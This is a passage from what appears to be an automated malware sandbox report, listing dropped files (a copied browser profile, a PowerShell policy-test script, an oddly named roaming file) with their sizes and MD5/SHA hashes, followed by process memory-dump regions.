9cf53ff01c93b0a14b9b56ac43c21900fc2664e8008af282648d367e27e60213a55ae4a833de989cdd5fe6c135d8c772d966359f161c20d3523b8d27eabd9395

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG

Filesize
263B

MD5
fd6f4f4a43063a6749ca5566400f78b8

SHA1
04d939b561e36d2cc9fdb28dd760e16805a5ab1f

SHA256
8f700778f9350804256c2eed5a8ae90444ec9a89deb0cd778497ee26f753ab2c

SHA512
a8dcf38527998d25354c76e9e5ebe0fcceecc67024b0aa0e9b0ea65a447cd34553b39205e6a85a39354ece1f8986b543e7be23196787050c86031a23e33dfdc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log

Filesize
40B

MD5
148079685e25097536785f4536af014b

SHA1
c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

SHA256
f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

SHA512
c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG

Filesize
291B

MD5
0ab4a4162568fb16b704bc6dc800a3d1

SHA1
23464b82a32113e85f8a39cc79dcbfad18833c7a

SHA256
14e9824839c1479d3cdc30f73b3022487ba615d8dbd9471c1e900298a316361d

SHA512
bb601c62ddb2f48ca7ef1dc8662def3f8d678f012fd79344893c857e8d2ed8e400920112b8a51b8a22c87c9984a79700c916f8dca9e60a87c393cfb9273d892f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log

Filesize
46B

MD5
90881c9c26f29fca29815a08ba858544

SHA1
06fee974987b91d82c2839a4bb12991fa99e1bdd

SHA256
a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a

SHA512
15f7f8197b4fc46c4c5c2570fb1f6dd73cb125f9ee53dfa67f5a0d944543c5347bdab5cce95e91dd6c948c9023e23c7f9d76cff990e623178c92f8d49150a625

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\LOG

Filesize
267B

MD5
ac2cde94f8dff563712442a66dfa4e87

SHA1
3b8b5aa6486203a9f088a86fbfff9db8efded4d2

SHA256
5789d99ed8dd6e3c53340dd768870cef2c50e969eee5e77648db62982088b327

SHA512
756a239e564715eb2a290e66b1ce9741158ad07448666d3b31046802926b568f7cfd517f2ceea4075b9cec75943e2c00dc963d8488906b3292407ca20e268a25

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Top Sites

Filesize
20KB

MD5
986962efd2be05909f2aaded39b753a6

SHA1
657924eda5b9473c70cc359d06b6ca731f6a1170

SHA256
d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889

SHA512
e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Visited Links

Filesize
128KB

MD5
ad3e5946ca772bf7624e873e8ddad1b0

SHA1
1c22c90290d774030fd17383a57de8a506b4d78d

SHA256
0d48c874786cacb3d07065f7ab9428d8cb43dc0fa0a2b896bc5ead9ab5fce97c

SHA512
483a0eb9d35cb5f4d4ae2f877a3315ed3bf02df3d1c10121faa7a0ae35cda177851e5648056ad0f85f8f7670cf26d1e3aea88a423e5a6102a8e10a61827c482f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Web Data

Filesize
114KB

MD5
81f4a801ace397f2344c0a66410dd188

SHA1
ef71709ed6458b2d946fbaf66e0e25d9af806254

SHA256
c8b8804d9ac87b2aed26c08b067f9c51da891327e348b6dc3abd90fdf240c4f2

SHA512
bb2cd9f7c50aeacd2e54ee2f18fef9aafcee234e6c0dbf8554243baf6a09b89e33489f1aa987ba424a5508af5db2a51e23b1fdc5e6741355f6a9881a8a3f6d04

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\000003.log

Filesize
4KB

MD5
6b06dde496d0fd9b84d659a53d9009d8

SHA1
54477c3774a0884c154a73fd80ffde92dbffc69a

SHA256
eb220594ee4dc57e2023d12e0fcdc532f757379d339e77ff089bb165baf14898

SHA512
d424297364197db7fd14182b8fa2c15521b6b796ef4ebd185e2e63203fc1a8af7e2ea0f775eabfd5894c69289ea1dd5e246b270b5562da1a7fab290f33a2d5ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\LOG

Filesize
263B

MD5
748514ade156b667606a48df0c19fb0f

SHA1
06e5e3ea85726ecaf109edaf5357b95b5826d63f

SHA256
747e95593d2d5c8a8576174dc323cbe440bf7662d336f5f44304f911dae7d360

SHA512
4dc6ebca7db33d8b866e7f34663bd9c9acacb219621a0602601f9221b4aade38a024e7c2c908de4d17ac463e0e843de0ccf654dfed49a4303f0b57d7c399b48b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\000003.log

Filesize
682B

MD5
84767a234e63d17fcdde441522ea81f6

SHA1
583e4bf2b3a52bf607fb4c595fc83873a2bd2221

SHA256
3513265bc5575b624336baccc526f6877badf808e0bc39a67f16c9ab74524b60

SHA512
051812e8d2f2f6740efbd5e6f7a594e16ad3ba52c98fcce736bb717cfdf0c0546f0cb4e061751c502e03f3126640bc67dba2787fd811371adde6d7b76c1a692b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\LOG

Filesize
281B

MD5
550243a0a1614306718c0ef05926d845

SHA1
a94a0bc302487cb8490d3b166d8f3b0b174f9695

SHA256
eebc8fd1e501faa7cb8ca5f42fcfd8843a08857a8d13f8b4a4710becdd0d4a5d

SHA512
88d3e22a7af6e259bae1e0d56999ae96db8e71e650c16e01fc5b00209e48725a07e79e9143223db96ff3af53400a3c325ec031d8e182f109acc5e90c825bc8c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
8KB

MD5
f748e6712c0c28cf255119bd051bbabd

SHA1
86d6df0c218dc9dd4bd5699cecf6fc83dd012007

SHA256
7d50130af28247c56e36fbda3d69c0888bd44a6226710d38e01ea65297d0b859

SHA512
b1a71498ae1bc2e189557d10124e1da4ee78f662bc5489da4a2071d59918c085aac209ce81f4408bc1401c84ce62087b31a929a3ea0ee72746bdfce4677db816

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
116KB

MD5
fee2bc50f858cc684118662daf861a4c

SHA1
1fa68369c940ef0c14da78b01a281a9a9cc4d189

SHA256
bd92e18a2ddbfde624988e3587ecdab159461482b7cf6107d2d5aabfc2d20d32

SHA512
e155d94523ddd06c42c6a23e18511ec85361be35ff89290d109f8715d43b3a4de1640c9e8e32061e6c27e3fa51aaa01c09e62d0245e11a35f0532dfcc1292818

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t4xcqyfa.kff.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\mbxkuntuieaddbtnuvnqmuflgfdvk

Filesize
4KB

MD5
16dfb23eaa7972c59c36fcbc0946093b

SHA1
1e9e3ff83a05131575f67e202d352709205f20f8

SHA256
36c49c94327c8cadcad4c0d2b3a8f5162fc7bb86624923484476c5f7b960bc4c

SHA512
a8b38b5e7bf886b78c5c7f01234b44647a252d4dfbcc06c99b863f8e160e3cfc151b2a83b8b49e09d13e8547419467da4bffbb8dee5fc6740032eb7c839d89dc

Download Submit
C:\Users\Admin\AppData\Roaming\Avlshingstes2.Xyl

Filesize
416KB

MD5
3ff0ded79e4674ee861175bbf1989217

SHA1
6f877e0832ee980138348a5f730586d7228d3213

SHA256
663243c6b32ec1822116cec4cd2859afbd0231e685e12b830ea8c2b06bc063d1

SHA512
49ebef4555879780d0f3ab84323af70c31ad9d8ac6d3851d3e3a6f15d216853dfd68ed563f04de850462af0bf43773b29217c92f36d461875d2983099b7b1caf

Download Submit
memory/888-49-0x00000000086B0000-0x000000000D82B000-memory.dmp

Filesize
81.5MB

Download
memory/888-25-0x0000000002330000-0x0000000002366000-memory.dmp

Filesize
216KB

Download
memory/888-26-0x0000000004D80000-0x00000000053A8000-memory.dmp

Filesize
6.2MB

Download
memory/888-27-0x00000000053E0000-0x0000000005402000-memory.dmp

Filesize
136KB

Download
memory/888-28-0x0000000005480000-0x00000000054E6000-memory.dmp

Filesize
408KB

Download
memory/888-29-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/888-39-0x0000000005620000-0x0000000005974000-memory.dmp

Filesize
3.3MB

Download
memory/888-41-0x0000000005C60000-0x0000000005C7E000-memory.dmp

Filesize
120KB

Download
memory/888-42-0x0000000005C80000-0x0000000005CCC000-memory.dmp

Filesize
304KB

Download
memory/888-43-0x00000000074D0000-0x0000000007B4A000-memory.dmp

Filesize
6.5MB

Download
memory/888-44-0x00000000061D0000-0x00000000061EA000-memory.dmp

Filesize
104KB

Download
memory/888-45-0x0000000006EF0000-0x0000000006F86000-memory.dmp

Filesize
600KB

Download
memory/888-46-0x0000000006E80000-0x0000000006EA2000-memory.dmp

Filesize
136KB

Download
memory/888-47-0x0000000008100000-0x00000000086A4000-memory.dmp

Filesize
5.6MB

Download
memory/996-24-0x00007FFBA0840000-0x00007FFBA1301000-memory.dmp

Filesize
10.8MB

Download
memory/996-5-0x0000014A79450000-0x0000014A79472000-memory.dmp

Filesize
136KB

Download
memory/996-15-0x00007FFBA0840000-0x00007FFBA1301000-memory.dmp

Filesize
10.8MB

Download
memory/996-16-0x00007FFBA0840000-0x00007FFBA1301000-memory.dmp

Filesize
10.8MB

Download
memory/996-19-0x00007FFBA0843000-0x00007FFBA0845000-memory.dmp

Filesize
8KB

Download
memory/996-20-0x00007FFBA0840000-0x00007FFBA1301000-memory.dmp

Filesize
10.8MB

Download
memory/996-21-0x00007FFBA0840000-0x00007FFBA1301000-memory.dmp

Filesize
10.8MB

Download
memory/996-4-0x00007FFBA0843000-0x00007FFBA0845000-memory.dmp

Filesize
8KB

Download
memory/1956-88-0x0000000023B20000-0x0000000023B54000-memory.dmp

Filesize
208KB

Download
memory/1956-84-0x0000000023B20000-0x0000000023B54000-memory.dmp

Filesize
208KB

Download
memory/1956-370-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-391-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-373-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-379-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-239-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-376-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-87-0x0000000023B20000-0x0000000023B54000-memory.dmp

Filesize
208KB

Download
memory/1956-367-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-145-0x0000000023B60000-0x0000000023B79000-memory.dmp

Filesize
100KB

Download
memory/1956-148-0x0000000023B60000-0x0000000023B79000-memory.dmp

Filesize
100KB

Download
memory/1956-149-0x0000000023B60000-0x0000000023B79000-memory.dmp

Filesize
100KB

Download
memory/1956-68-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-62-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/1956-64-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/2032-79-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2032-73-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2032-77-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4364-92-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4364-83-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4364-93-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/5004-76-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/5004-72-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/5004-78-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/5004-74-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download